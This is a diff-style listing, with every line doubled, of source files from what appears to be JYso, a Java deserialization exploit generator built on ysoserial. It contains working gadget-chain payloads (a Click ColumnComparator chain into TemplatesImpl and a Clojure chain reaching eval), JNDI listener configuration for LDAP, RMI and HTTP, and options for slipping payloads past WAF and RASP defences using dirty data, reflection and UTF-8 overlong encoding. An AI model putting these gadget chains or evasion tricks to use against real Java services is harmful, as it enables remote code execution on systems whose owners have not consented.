||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
// prepare a Column.comparator with mock values
|
// prepare a Column.comparator with mock values
|
||||||
final Column column = new Column("lowestSetBit");
|
final Column column = new Column("lowestSetBit");
|
||||||
column.setTable(new Table());
|
column.setTable(new Table());
|
||||||
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||||
|
|
||||||
// create queue with numbers and our comparator
|
// create queue with numbers and our comparator
|
||||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
// stub data for replacement later
|
// stub data for replacement later
|
||||||
queue.add(new BigInteger("1"));
|
queue.add(new BigInteger("1"));
|
||||||
queue.add(new BigInteger("1"));
|
queue.add(new BigInteger("1"));
|
||||||
|
|
||||||
// switch method called by the comparator,
|
// switch method called by the comparator,
|
||||||
// so it will trigger getOutputProperties() when objects in the queue are compared
|
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||||
column.setName("outputProperties");
|
column.setName("outputProperties");
|
||||||
|
|
||||||
// finally, we inject and new TemplatesImpl object into the queue,
|
// finally, we inject and new TemplatesImpl object into the queue,
|
||||||
// so its getOutputProperties() method will be called
|
// so its getOutputProperties() method will be called
|
||||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
final Object template;
|
final Object template;
|
||||||
template = Gadgets.createTemplatesImpl(command);
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
queueArray[0] = template;
|
queueArray[0] = template;
|
||||||
return queue;
|
return queue;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,51 +1,51 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import clojure.core$comp;
|
import clojure.core$comp;
|
||||||
import clojure.core$constantly;
|
import clojure.core$constantly;
|
||||||
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||||
import clojure.lang.PersistentArrayMap;
|
import clojure.lang.PersistentArrayMap;
|
||||||
import clojure.main$eval_opt;
|
import clojure.main$eval_opt;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Gadget chain:
|
* Gadget chain:
|
||||||
* ObjectInputStream.readObject()
|
* ObjectInputStream.readObject()
|
||||||
* HashMap.readObject()
|
* HashMap.readObject()
|
||||||
* AbstractTableModel$ff19274a.hashCode()
|
* AbstractTableModel$ff19274a.hashCode()
|
||||||
* clojure.core$comp$fn__4727.invoke()
|
* clojure.core$comp$fn__4727.invoke()
|
||||||
* clojure.core$constantly$fn__4614.invoke()
|
* clojure.core$constantly$fn__4614.invoke()
|
||||||
* clojure.main$eval_opt.invoke()
|
* clojure.main$eval_opt.invoke()
|
||||||
* <p>
|
* <p>
|
||||||
* Requires:
|
* Requires:
|
||||||
* org.clojure:clojure
|
* org.clojure:clojure
|
||||||
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||||
@Authors({JACKOFMOSTTRADES})
|
@Authors({JACKOFMOSTTRADES})
|
||||||
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||||
|
|
||||||
public Map<?, ?> getObject(String command) throws Exception {
|
public Map<?, ?> getObject(String command) throws Exception {
|
||||||
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
||||||
Map<String, Object> fnMap = new HashMap<>();
|
Map<String, Object> fnMap = new HashMap<>();
|
||||||
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||||
HashMap<Object, Object> targetMap = new HashMap<>();
|
HashMap<Object, Object> targetMap = new HashMap<>();
|
||||||
targetMap.put(model, null);
|
targetMap.put(model, null);
|
||||||
fnMap.put("hashCode", (new core$comp())
|
fnMap.put("hashCode", (new core$comp())
|
||||||
.invoke(new main$eval_opt(), (new core$constantly())
|
.invoke(new main$eval_opt(), (new core$constantly())
|
||||||
.invoke(clojurePayload)));
|
.invoke(clojurePayload)));
|
||||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||||
return targetMap;
|
return targetMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,174 +1,174 @@
|
|||||||
package com.qi4l.JYso.gadgets.Config;
|
package com.qi4l.JYso.gadgets.Config;
|
||||||
|
|
||||||
import com.beust.jcommander.JCommander;
|
import com.beust.jcommander.JCommander;
|
||||||
import com.beust.jcommander.Parameter;
|
import com.beust.jcommander.Parameter;
|
||||||
import com.beust.jcommander.UnixStyleUsageFormatter;
|
import com.beust.jcommander.UnixStyleUsageFormatter;
|
||||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
public class Config {
|
public class Config {
|
||||||
public static String codeBase;
|
public static String codeBase;
|
||||||
|
|
||||||
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
|
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
|
||||||
public static String ip = "0.0.0.0";
|
public static String ip = "0.0.0.0";
|
||||||
|
|
||||||
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
|
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
|
||||||
public static int ldapPort = 1389;
|
public static int ldapPort = 1389;
|
||||||
|
|
||||||
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
|
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
|
||||||
public static int ldapsPort = 1669;
|
public static int ldapsPort = 1669;
|
||||||
|
|
||||||
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
|
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
|
||||||
public static int rmiPort = 1099;
|
public static int rmiPort = 1099;
|
||||||
|
|
||||||
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
|
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
|
||||||
public static int httpPort = 3456;
|
public static int httpPort = 3456;
|
||||||
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
|
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
|
||||||
public static String command = "whoami";
|
public static String command = "whoami";
|
||||||
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
|
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
|
||||||
public static boolean showVersion;
|
public static boolean showVersion;
|
||||||
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
|
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
|
||||||
public static boolean showGadgets;
|
public static boolean showGadgets;
|
||||||
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
|
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
|
||||||
public static String AESkey = "123";
|
public static String AESkey = "123";
|
||||||
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
|
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
|
||||||
public static String USER = "";
|
public static String USER = "";
|
||||||
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
|
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
|
||||||
public static String PASSWD = "";
|
public static String PASSWD = "";
|
||||||
@Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5)
|
@Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5)
|
||||||
public static boolean TLSProxy = false;
|
public static boolean TLSProxy = false;
|
||||||
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
|
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
|
||||||
public static String keyPass = "";
|
public static String keyPass = "";
|
||||||
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
|
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
|
||||||
public static String certFile = "";
|
public static String certFile = "";
|
||||||
|
|
||||||
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
|
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
|
||||||
public static boolean jndi = false;
|
public static boolean jndi = false;
|
||||||
public static String rhost;
|
public static String rhost;
|
||||||
public static String rport;
|
public static String rport;
|
||||||
// 从HTTP外部获取路由值
|
// 从HTTP外部获取路由值
|
||||||
public static String ROUTE = "";
|
public static String ROUTE = "";
|
||||||
// 从HTTP外部获取参数值
|
// 从HTTP外部获取参数值
|
||||||
public static String BCEL1 = "";
|
public static String BCEL1 = "";
|
||||||
// 恶意类是否继承 AbstractTranslet
|
// 恶意类是否继承 AbstractTranslet
|
||||||
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
|
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
|
||||||
//是否使用反射绕过RASP
|
//是否使用反射绕过RASP
|
||||||
public static Boolean IS_OBSCURE = false;
|
public static Boolean IS_OBSCURE = false;
|
||||||
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
|
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
|
||||||
public static Boolean IS_DIRTY_IN_TC_RESET = false;
|
public static Boolean IS_DIRTY_IN_TC_RESET = false;
|
||||||
public static Boolean IS_UTF_Bypass = false;
|
public static Boolean IS_UTF_Bypass = false;
|
||||||
// 填充的脏数据长度
|
// 填充的脏数据长度
|
||||||
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
|
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
|
||||||
|
|
||||||
// DefineClassFromParameter 的路径
|
// DefineClassFromParameter 的路径
|
||||||
public static String PARAMETER = "dc";
|
public static String PARAMETER = "dc";
|
||||||
// 将输入直接写在文件里
|
// 将输入直接写在文件里
|
||||||
public static String FILE = "out.ser";
|
public static String FILE = "out.ser";
|
||||||
public static Boolean WRITE_FILE = false;
|
public static Boolean WRITE_FILE = false;
|
||||||
public static Boolean BASE64 = false;
|
public static Boolean BASE64 = false;
|
||||||
// 是否强制使用 org.apache.XXX.TemplatesImpl
|
// 是否强制使用 org.apache.XXX.TemplatesImpl
|
||||||
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
|
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
|
||||||
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
|
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
|
||||||
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
|
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
|
||||||
// ScriptEngineManager 是否为 RHINO 引擎
|
// ScriptEngineManager 是否为 RHINO 引擎
|
||||||
public static boolean USING_RHINO = false;
|
public static boolean USING_RHINO = false;
|
||||||
public static ClassPool POOL = ClassPool.getDefault();
|
public static ClassPool POOL = ClassPool.getDefault();
|
||||||
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
|
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
|
||||||
private static boolean help = false;
|
private static boolean help = false;
|
||||||
|
|
||||||
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
|
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
|
||||||
public static void applyCmdArgs(String[] args) {
|
public static void applyCmdArgs(String[] args) {
|
||||||
//process cmd args
|
//process cmd args
|
||||||
|
|
||||||
JCommander jc = JCommander.newBuilder()
|
JCommander jc = JCommander.newBuilder()
|
||||||
.addObject(new Config())
|
.addObject(new Config())
|
||||||
.build();
|
.build();
|
||||||
try {
|
try {
|
||||||
jc.parse(args);
|
jc.parse(args);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
System.out.println("Error: " + e.getMessage() + "\n");
|
System.out.println("Error: " + e.getMessage() + "\n");
|
||||||
help = true;
|
help = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (showGadgets) {
|
if (showGadgets) {
|
||||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||||
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
||||||
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
||||||
|
|
||||||
final List<String[]> rows = new LinkedList<>();
|
final List<String[]> rows = new LinkedList<>();
|
||||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||||
rows.add(new String[]{"-------", "-------", "------------"});
|
rows.add(new String[]{"-------", "-------", "------------"});
|
||||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||||
rows.add(new String[]{
|
rows.add(new String[]{
|
||||||
payloadClass.getSimpleName(),
|
payloadClass.getSimpleName(),
|
||||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
final List<String> lines = StringUtil.formatTable(rows);
|
final List<String> lines = StringUtil.formatTable(rows);
|
||||||
|
|
||||||
for (String line : lines) {
|
for (String line : lines) {
|
||||||
System.out.println(" " + line);
|
System.out.println(" " + line);
|
||||||
}
|
}
|
||||||
|
|
||||||
System.exit(0);
|
System.exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (showVersion) {
|
if (showVersion) {
|
||||||
System.exit(0);
|
System.exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
//获取当前 Jar 的名称
|
//获取当前 Jar 的名称
|
||||||
jc.setProgramName("java -jar JYso.jar");
|
jc.setProgramName("java -jar JYso.jar");
|
||||||
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
|
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
|
||||||
|
|
||||||
if (help) {
|
if (help) {
|
||||||
jc.usage(); //if -h specified, show help and exit
|
jc.usage(); //if -h specified, show help and exit
|
||||||
System.exit(0);
|
System.exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 特别注意:最后一个反斜杠不能少啊
|
// 特别注意:最后一个反斜杠不能少啊
|
||||||
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
|
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void logo() {
|
public static void logo() {
|
||||||
String logo = " ┏┳┓┏ \n" +
|
String logo = " ┏┳┓┏ \n" +
|
||||||
" ┃┗┫┏┏┓ \n" +
|
" ┃┗┫┏┏┓ \n" +
|
||||||
" ┗┛┗┛┛┗┛ ";
|
" ┗┛┗┛┛┗┛ ";
|
||||||
|
|
||||||
// 高亮颜色代码(不包括黑色)
|
// 高亮颜色代码(不包括黑色)
|
||||||
Ansi.Color[] colors = {
|
Ansi.Color[] colors = {
|
||||||
Ansi.Color.RED,
|
Ansi.Color.RED,
|
||||||
Ansi.Color.GREEN,
|
Ansi.Color.GREEN,
|
||||||
Ansi.Color.YELLOW,
|
Ansi.Color.YELLOW,
|
||||||
Ansi.Color.BLUE,
|
Ansi.Color.BLUE,
|
||||||
Ansi.Color.MAGENTA,
|
Ansi.Color.MAGENTA,
|
||||||
Ansi.Color.CYAN,
|
Ansi.Color.CYAN,
|
||||||
Ansi.Color.WHITE
|
Ansi.Color.WHITE
|
||||||
};
|
};
|
||||||
|
|
||||||
Random random = new Random();
|
Random random = new Random();
|
||||||
|
|
||||||
StringBuilder coloredLogo = new StringBuilder();
|
StringBuilder coloredLogo = new StringBuilder();
|
||||||
|
|
||||||
for (char c : logo.toCharArray()) {
|
for (char c : logo.toCharArray()) {
|
||||||
if (c != ' ' && c != '\n') {
|
if (c != ' ' && c != '\n') {
|
||||||
// 选择一个随机的高亮颜色
|
// 选择一个随机的高亮颜色
|
||||||
Ansi.Color color = colors[random.nextInt(colors.length)];
|
Ansi.Color color = colors[random.nextInt(colors.length)];
|
||||||
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
|
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
|
||||||
} else {
|
} else {
|
||||||
// 保持空格和换行符
|
// 保持空格和换行符
|
||||||
coloredLogo.append(c);
|
coloredLogo.append(c);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
System.out.println(coloredLogo);
|
System.out.println(coloredLogo);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -1,191 +1,191 @@
|
|||||||
package com.qi4l.JYso.gadgets.Config;
|
package com.qi4l.JYso.gadgets.Config;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||||
import org.apache.commons.cli.*;
|
import org.apache.commons.cli.*;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||||
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
||||||
|
|
||||||
public class ysoserial {
|
public class ysoserial {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(ysoserial.class);
|
private static final Logger log = LogManager.getLogger(ysoserial.class);
|
||||||
public static CommandLine cmdLine;
|
public static CommandLine cmdLine;
|
||||||
public static Object PAYLOAD = null;
|
public static Object PAYLOAD = null;
|
||||||
|
|
||||||
public static void run(String[] args) {
|
public static void run(String[] args) {
|
||||||
final Options options = getOptions();
|
final Options options = getOptions();
|
||||||
|
|
||||||
CommandLineParser parser = new DefaultParser();
|
CommandLineParser parser = new DefaultParser();
|
||||||
|
|
||||||
if (args.length == 1) {
|
if (args.length == 1) {
|
||||||
printUsage(options);
|
printUsage(options);
|
||||||
System.exit(1);
|
System.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
cmdLine = parser.parse(options, args);
|
cmdLine = parser.parse(options, args);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
System.out.println("[*] Parameter input error, please use -h for more information");
|
System.out.println("[*] Parameter input error, please use -h for more information");
|
||||||
printUsage(options);
|
printUsage(options);
|
||||||
System.exit(1);
|
System.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("inherit")) {
|
if (cmdLine.hasOption("inherit")) {
|
||||||
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
|
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("obscure")) {
|
if (cmdLine.hasOption("obscure")) {
|
||||||
Config.IS_OBSCURE = true;
|
Config.IS_OBSCURE = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("define-class-from-parameter")) {
|
if (cmdLine.hasOption("define-class-from-parameter")) {
|
||||||
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
|
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("file")) {
|
if (cmdLine.hasOption("file")) {
|
||||||
Config.WRITE_FILE = true;
|
Config.WRITE_FILE = true;
|
||||||
Config.FILE = cmdLine.getOptionValue("file");
|
Config.FILE = cmdLine.getOptionValue("file");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("base64")) {
|
if (cmdLine.hasOption("base64")) {
|
||||||
Config.BASE64 = true;
|
Config.BASE64 = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("no-com-sun")) {
|
if (cmdLine.hasOption("no-com-sun")) {
|
||||||
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
|
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("mozilla-class-loader")) {
|
if (cmdLine.hasOption("mozilla-class-loader")) {
|
||||||
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
|
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("rhino")) {
|
if (cmdLine.hasOption("rhino")) {
|
||||||
Config.USING_RHINO = true;
|
Config.USING_RHINO = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
|
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
|
||||||
Config.IS_UTF_Bypass = true;
|
Config.IS_UTF_Bypass = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
final String payloadType = cmdLine.getOptionValue("gadget");
|
final String payloadType = cmdLine.getOptionValue("gadget");
|
||||||
final String command = cmdLine.getOptionValue("parameters");
|
final String command = cmdLine.getOptionValue("parameters");
|
||||||
//载入gadget
|
//载入gadget
|
||||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||||
if (payloadClass == null) {
|
if (payloadClass == null) {
|
||||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||||
printUsage(options);
|
printUsage(options);
|
||||||
System.exit(1);
|
System.exit(1);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
//载入payload
|
//载入payload
|
||||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||||
Object object = payload.getObject(command);
|
Object object = payload.getObject(command);
|
||||||
|
|
||||||
// 是否指定混淆
|
// 是否指定混淆
|
||||||
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
|
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
|
||||||
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
|
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
|
||||||
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
|
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
|
||||||
object = new DirtyDataWrapper(object, type, length).doWrap();
|
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 储存生成的 payload
|
// 储存生成的 payload
|
||||||
PAYLOAD = object;
|
PAYLOAD = object;
|
||||||
if (isFromExploit()) {
|
if (isFromExploit()) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
OutputStream out;
|
OutputStream out;
|
||||||
|
|
||||||
if (Config.WRITE_FILE) {
|
if (Config.WRITE_FILE) {
|
||||||
out = Files.newOutputStream(Paths.get(Config.FILE));
|
out = Files.newOutputStream(Paths.get(Config.FILE));
|
||||||
} else if(Config.BASE64) {
|
} else if(Config.BASE64) {
|
||||||
out = new ByteArrayOutputStream();
|
out = new ByteArrayOutputStream();
|
||||||
} else {
|
} else {
|
||||||
out = System.out;
|
out = System.out;
|
||||||
}
|
}
|
||||||
Serializer.qi_serialize(object, out);
|
Serializer.qi_serialize(object, out);
|
||||||
ObjectPayload.Utils.releasePayload(payload, object);
|
ObjectPayload.Utils.releasePayload(payload, object);
|
||||||
out.flush();
|
out.flush();
|
||||||
out.close();
|
out.close();
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(e));
|
log.error(String.valueOf(e));
|
||||||
System.exit(1);
|
System.exit(1);
|
||||||
}
|
}
|
||||||
System.exit(0);
|
System.exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Options getOptions() {
|
public static Options getOptions() {
|
||||||
Options options = new Options();
|
Options options = new Options();
|
||||||
options.addOption("y", "ysoserial", false, "Java deserialization");
|
options.addOption("y", "ysoserial", false, "Java deserialization");
|
||||||
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||||
options.addOption("p", "parameters", true, "Gadget parameters");
|
options.addOption("p", "parameters", true, "Gadget parameters");
|
||||||
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
||||||
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
||||||
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
||||||
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
